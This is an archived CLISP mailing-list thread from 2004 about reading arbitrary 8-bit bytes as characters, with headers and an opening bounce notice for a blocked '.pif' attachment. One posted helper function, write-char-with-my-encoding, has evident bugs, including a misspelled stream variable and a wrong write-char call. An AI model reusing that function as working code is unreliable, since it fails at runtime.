2004 00:00:55 -0800 Received: from [202.51.108.20] (helo=excalibur.dfdstransport.co.id) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1B2QYI-0000pY-Cq for clisp-list@lists.sourceforge.net; Sun, 14 Mar 2004 00:00:55 -0800 Received: (qmail 13604 invoked from network); 14 Mar 2004 07:15:29 -0000 Received: from unknown (HELO zanarkand.dfdstransport.co.id) (211.127.10.19) by eatcf-283p15.ppp15.odn.ne.jp with SMTP; 14 Mar 2004 07:15:29 -0000 From: PostMasterDFDSID@dfdstransport.co.id To: clisp-list@lists.sourceforge.net X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 DATE_MISSING Missing Date: header 0.3 NO_REAL_NAME From: does not include a real name Message-ID: Subject: [clisp-list] Warning.. Content violation from dfdstransport.co.id Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 14 00:02:00 2004 X-Original-Date: Sun Mar 14 00:01:00 2004 Content violation found in email message. From: clisp-list@lists.sourceforge.net To: rika@dfdstransport.co.id File(s): mp3music.pif Matching filename: *.pif From don-sourceforgexx@isis.cs3-inc.com Mon Mar 15 09:51:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B2wF1-00022o-PM for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 09:51:07 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B2wEw-0000kA-Uh for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 09:51:03 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2FHjlQ23737 for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 09:45:47 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16469.60362.760663.3935@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Subject: [clisp-list] character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 10:58:26 2004 X-Original-Date: Mon, 15 Mar 2004 09:45:46 -0800 This must be a frequently asked question - I must have asked it myself. Is there some character set that contains 256 8 bit bytes? All I really want to do is read characters without any errors. Somehow I got the impression from impnotes that this could be done with (with-open-file (f "/root/http/log" :external-format (make-encoding :input-error-action :ignore)) ...) but I still get *** - READ from #: \illegal character #\U008D It would be even better if I could then figure out what the bytes had been from the characters (1-1 mapping). From pascal@informatimago.com Mon Mar 15 12:30:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B2yjJ-0007Iw-8y for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 12:30:33 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B2yjF-0002ln-T4 for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 12:30:32 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6873E586E2; Mon, 15 Mar 2004 21:30:20 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6CE6A38A41; Mon, 15 Mar 2004 21:32:07 +0100 (CET) Message-ID: <16470.4807.373052.508332@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16469.60362.760663.3935@isis.cs3-inc.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 12:31:28 2004 X-Original-Date: Mon, 15 Mar 2004 21:32:07 +0100 Don Cohen writes: > This must be a frequently asked question - I must have asked it myself. > Is there some character set that contains 256 8 bit bytes? You are mixing two different things. You can have a set of 256 character. And you can have a character encoding using 8-bit bytes. Normally, clisp is compiled to have unicode characters. There is more than 256 unicode characters. The number of bits used to store a unicode character is implementation dependent, and most probably variable (a unicode character may need various code points). When you write characters, you must choose an encoding that is able to store the characters you want to write. And when you read an encoded character stream, you must decode it, and not all byte sequences correspond to valid character. > All I really want to do is read characters without any errors. Then provide an error-free file! > Somehow I got the impression from impnotes that this could be done > with > (with-open-file > (f "/root/http/log" :external-format > (make-encoding :input-error-action :ignore)) ...) > but I still get > *** - READ from #: \illegal character #\U008D > > It would be even better if I could then figure out what the bytes had > been from the characters (1-1 mapping). You cannot because it depends on the encoding used. I have the feeling that what you want to do is to actually read binary bytes instead of reading characters. (with-open-file (f path :element-type '(unsigned-byte 8)) (do ((byte (read-byte f nil nil)(read-byte f nil nil))) ((null byte)) (format t "read byte ~D~%" byte))) You can always try to convert these bytes to characters with (code-char byte), but beware that some byte value correspond to no defined characters: (code-char #16r81) --> #\U0081 vs.: (code-char #16rC1) --> #\LATIN_CAPITAL_LETTER_A_WITH_ACUTE This is probably unrelated, but clisp can be compiled to support only 256 characters instead of all unicode characters. --without-unicode no UNICODE support: character=8bit I don't know what it would do if you tried to read in such a dumbed down beast an ISO-8859-1 file and a ISO-8859-2 file. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Mon Mar 15 12:40:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B2ytO-0001eq-Fu for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 12:40:58 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B2ytN-0005fq-3X for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 12:40:57 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2FKZcN25612; Mon, 15 Mar 2004 12:35:38 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16470.5018.232595.180791@isis.cs3-inc.com> To: Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.4807.373052.508332@thalassa.informatimago.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 12:41:27 2004 X-Original-Date: Mon, 15 Mar 2004 12:35:38 -0800 Pascal J.Bourguignon writes: > Don Cohen writes: > > This must be a frequently asked question - I must have asked it myself. > > Is there some character set that contains 256 8 bit bytes? > > You are mixing two different things. You can have a set of 256 > character. And you can have a character encoding using 8-bit bytes. > > Normally, clisp is compiled to have unicode characters. There is more > than 256 unicode characters. The number of bits used to store a > unicode character is implementation dependent, and most probably > variable (a unicode character may need various code points). I think it was clear what I want. I want a character set with 256 characters, and an encoding that maps those 1-1 with all of the 8 bit combinations. I want no multibyte characters. > > All I really want to do is read characters without any errors. > > Then provide an error-free file! I consider a file containing 256 different bytes to be error free. > > Somehow I got the impression from impnotes that this could be done > > with > > (with-open-file > > (f "/root/http/log" :external-format > > (make-encoding :input-error-action :ignore)) ...) > > but I still get > > *** - READ from #: \illegal character #\U008D > > > > It would be even better if I could then figure out what the bytes had > > been from the characters (1-1 mapping). > > You cannot because it depends on the encoding used. But make-encoding should be able to make an encoding that does whatever I want, shouldn't it? > I have the feeling that what you want to do is to actually read binary > bytes instead of reading characters. That's what I have been forced to do so far. But that seems absurd. Why not create the obvious encoding and use characters? > This is probably unrelated, but clisp can be compiled to support only > 256 characters instead of all unicode characters. > > --without-unicode no UNICODE support: character=8bit > > I don't know what it would do if you tried to read in such a dumbed > down beast an ISO-8859-1 file and a ISO-8859-2 file. It is not unrelated. If I can do it without unicode (which I've not actually checked) then I should be able to do it with unicode. From pascal@informatimago.com Mon Mar 15 12:54:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B2z6D-0005Bh-Mc for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 12:54:13 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B2z6B-0000mD-Af for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 12:54:11 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 221D5586E2; Mon, 15 Mar 2004 21:54:07 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 300554C4B4; Mon, 15 Mar 2004 21:55:54 +0100 (CET) Message-ID: <16470.6234.98763.735434@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.5018.232595.180791@isis.cs3-inc.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> <16470.5018.232595.180791@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 12:55:06 2004 X-Original-Date: Mon, 15 Mar 2004 21:55:54 +0100 Don Cohen writes: > I think it was clear what I want. > I want a character set with 256 characters, and an encoding that > maps those 1-1 with all of the 8 bit combinations. > I want no multibyte characters. There is no encoding that I know of that maps 1-1 256 8-bit values. For example, ISO-8859-* does not map values between 128 and 159. Even the various IBM-PC OEM encoding leave some codes unmapped. You could invent your own mapping though. > > > All I really want to do is read characters without any errors. > > > > Then provide an error-free file! > I consider a file containing 256 different bytes to be error free. > > > > Somehow I got the impression from impnotes that this could be done > > > with > > > (with-open-file > > > (f "/root/http/log" :external-format > > > (make-encoding :input-error-action :ignore)) ...) > > > but I still get > > > *** - READ from #: \illegal character #\U008D > > > > > > It would be even better if I could then figure out what the bytes had > > > been from the characters (1-1 mapping). > > > > You cannot because it depends on the encoding used. > > But make-encoding should be able to make an encoding that does > whatever I want, shouldn't it? You did not pass it a :charset argument with a set of 256 characters. Why should it not return an error? Note that since there exist no character with a code equal to 141, YOU will have to choose an existing character to put in the slot 141 of the :charset argument. Remember that in C, char is actually an integer type! So it's not surprizing that you can store 141 in a char variable. But that does not mean that there exist any character that have a code equal to 141 in any official encoding. You still can invent your own encoding, but you have to specify it (with the :charset key)! > > I have the feeling that what you want to do is to actually read binary > > bytes instead of reading characters. > > That's what I have been forced to do so far. > But that seems absurd. Why not create the obvious encoding and use > characters? A good reason why not would be that it is not portable accros Common-Lisp implementations... Reading bytes is pure Common-Lisp. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Mon Mar 15 13:37:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B2zmC-0008L5-GN for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 13:37:36 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B2zm9-00033u-NL for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 13:37:33 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2FLWEj26220; Mon, 15 Mar 2004 13:32:14 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16470.8414.550864.829747@isis.cs3-inc.com> To: , Phil Chu Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.6234.98763.735434@thalassa.informatimago.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> <16470.5018.232595.180791@isis.cs3-inc.com> <40561A11.9060500@technicat.com> <16470.6234.98763.735434@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 13:38:05 2004 X-Original-Date: Mon, 15 Mar 2004 13:32:14 -0800 Pascal J.Bourguignon writes: > You could invent your own mapping though. I thought so, but have not yet succeeded. > > But make-encoding should be able to make an encoding that does > > whatever I want, shouldn't it? > > You did not pass it a :charset argument with a set of 256 > characters. Why should it not return an error? The code I sent did not attempt to generate a 1-1 mapping, just a mapping that would not generate an error. And even that did not work. Notice that make-encoding did not complain. It was when I read an illegal character that it complained, and I thought that's what :ignore was supposed to prevent. If I supply a default character I still get an error. > Note that since there exist no character with a code equal to 141, > YOU will have to choose an existing character to put in the slot 141 > of the :charset argument. And is this not what the argument (make-encoding :input-error-action #\space) [or :ignore] is supposed to do? > Remember that in C, char is actually an integer type! So it's not > surprizing that you can store 141 in a char variable. But that does > not mean that there exist any character that have a code equal to 141 > in any official encoding. You still can invent your own encoding, but > you have to specify it (with the :charset key)! Which one should I use? I've now tried a few - same result. From pascal@informatimago.com Mon Mar 15 14:35:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B30fm-0006Gg-4u for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 14:35:02 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B30ff-0001PC-5T for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 14:34:55 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DC28E586E2; Mon, 15 Mar 2004 23:34:44 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 84E91383BB; Mon, 15 Mar 2004 23:36:31 +0100 (CET) Message-ID: <16470.12271.287856.948712@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: Phil Chu , clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.8414.550864.829747@isis.cs3-inc.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> <16470.5018.232595.180791@isis.cs3-inc.com> <40561A11.9060500@technicat.com> <16470.6234.98763.735434@thalassa.informatimago.com> <16470.8414.550864.829747@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 14:36:01 2004 X-Original-Date: Mon, 15 Mar 2004 23:36:31 +0100 Don Cohen writes: > Pascal J.Bourguignon writes: > > > You could invent your own mapping though. > I thought so, but have not yet succeeded. > > > > But make-encoding should be able to make an encoding that does > > > whatever I want, shouldn't it? > > > > You did not pass it a :charset argument with a set of 256 > > characters. Why should it not return an error? > > The code I sent did not attempt to generate a 1-1 mapping, just > a mapping that would not generate an error. And even that did > not work. > Notice that make-encoding did not complain. It was when I read > an illegal character that it complained, and I thought that's what > :ignore was supposed to prevent. If I supply a default character > I still get an error. There is no invalid characters. Characters are. There may be invalid codes, codes that correspond to no character, and there may be invalid byte sequences, byte sequences that encode no character. > > Note that since there exist no character with a code equal to 141, > > YOU will have to choose an existing character to put in the slot 141 > > of the :charset argument. > > And is this not what the argument > (make-encoding :input-error-action #\space) [or :ignore] > is supposed to do? > > > Remember that in C, char is actually an integer type! So it's not > > surprizing that you can store 141 in a char variable. But that does > > not mean that there exist any character that have a code equal to 141 > > in any official encoding. You still can invent your own encoding, but > > you have to specify it (with the :charset key)! > > Which one should I use? I've now tried a few - same result. Now, I must excuse me, I thought that the string that can be passed as :charset argument to make-encoding was a set of character, but it is not. It is expected to be the name of an existing character set. There does not appear to be any public (implementation-dependend) function to create your own character set. That means that you'll have to go the portable way, write pure Common-Lisp code, and implement your own encoding yourself. This is not difficult at all: (defvar *my-encoding* (let ((cs (make-string 256 :initial-element (character "?")))) (loop for i from 32 upto 127 do (setf (aref cs i) (code-char i))) cs));;*my-encoding* (defun read-char-with-my-encoding (stream &optional (eof-error-p t) eof-value) (assert (equal '(unsigned-byte 8) (stream-element-type stream))) (let ((byte (read-byte stream eof-error-p eof-value))) (if (typep byte '(unsigned-byte 8)) (aref *my-encoding* byte) byte)));;read-char-with-my-encoding (defun write-char-with-my-encoding (character &optional (output-stream *standard-output*)) (assert (equal '(unsigned-byte 8) (stream-element-type output-sstream))) (let ((byte (position character *my-encoding* ;; A little hack depending on *my-encoding*: :start 32))) (write-char (aref *my-encoding* byte) :output-stream output-stream)) );;write-char-with-my-encoding (with-open-file (in "/tmp/a" :element-type '(unsigned-byte 8)) (do ((char (read-char-with-my-encoding in nil nil) (read-char-with-my-encoding in nil nil)) (i 0 (1+ i))) ((null char)) (when (= 0 (mod i 17)) (terpri)) (format t "~C " char))) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ! " # $ % & ' ( ) * + , - . / ? 0 1 2 3 4 5 6 7 8 9 : ; < = > ? ? @ A B C D E F G H I J K L M N O ? P Q R S T U V W X Y Z [ \ ] ^ _ ? ` a b c d e f g h i j k l m n o ? p q r s t u v w x y z { | } ~ _ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? NIL $ od -t x1 /tmp/a 0000000 0a 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0000020 0f 0a 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 0000040 1e 1f 0a 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 0000060 2d 2e 2f 0a 30 31 32 33 34 35 36 37 38 39 3a 3b 0000100 3c 3d 3e 3f 0a 40 41 42 43 44 45 46 47 48 49 4a 0000120 4b 4c 4d 4e 4f 0a 50 51 52 53 54 55 56 57 58 59 0000140 5a 5b 5c 5d 5e 5f 0a 60 61 62 63 64 65 66 67 68 0000160 69 6a 6b 6c 6d 6e 6f 0a 70 71 72 73 74 75 76 77 0000200 78 79 7a 7b 7c 7d 7e 7f 0a 80 81 82 83 84 85 86 0000220 87 88 89 8a 8b 8c 8d 8e 8f 0a 90 91 92 93 94 95 0000240 96 97 98 99 9a 9b 9c 9d 9e 9f 0a a0 a1 a2 a3 a4 0000260 a5 a6 a7 a8 a9 aa ab ac ad ae af 0a b0 b1 b2 b3 0000300 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf 0a c0 c1 c2 0000320 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf 0a d0 d1 0000340 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df 0a e0 0000360 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef 0a 0000400 f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 0000420 0a 0000421 -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Mon Mar 15 17:00:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B32w9-0005YU-F7 for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 17:00:05 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B32w9-0008Sv-61 for clisp-list@lists.sourceforge.net; Mon, 15 Mar 2004 17:00:05 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2G0siT28277; Mon, 15 Mar 2004 16:54:44 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16470.20563.531814.222760@isis.cs3-inc.com> To: Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] character sets In-Reply-To: <16470.4807.373052.508332@thalassa.informatimago.com> References: <16469.60362.760663.3935@isis.cs3-inc.com> <16470.4807.373052.508332@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 15 18:12:14 2004 X-Original-Date: Mon, 15 Mar 2004 16:54:43 -0800 I now realize that this is not a problem with encodings but a problem with READ. > > *** - READ from #: \illegal character #\U008D It had not occurred to me that certain characters would not be allowed by READ. I imagined that all those that were not otherwise specified would be treated like alphabetic characters. How foolish of me. From jcorneli@math.utexas.edu Mon Mar 15 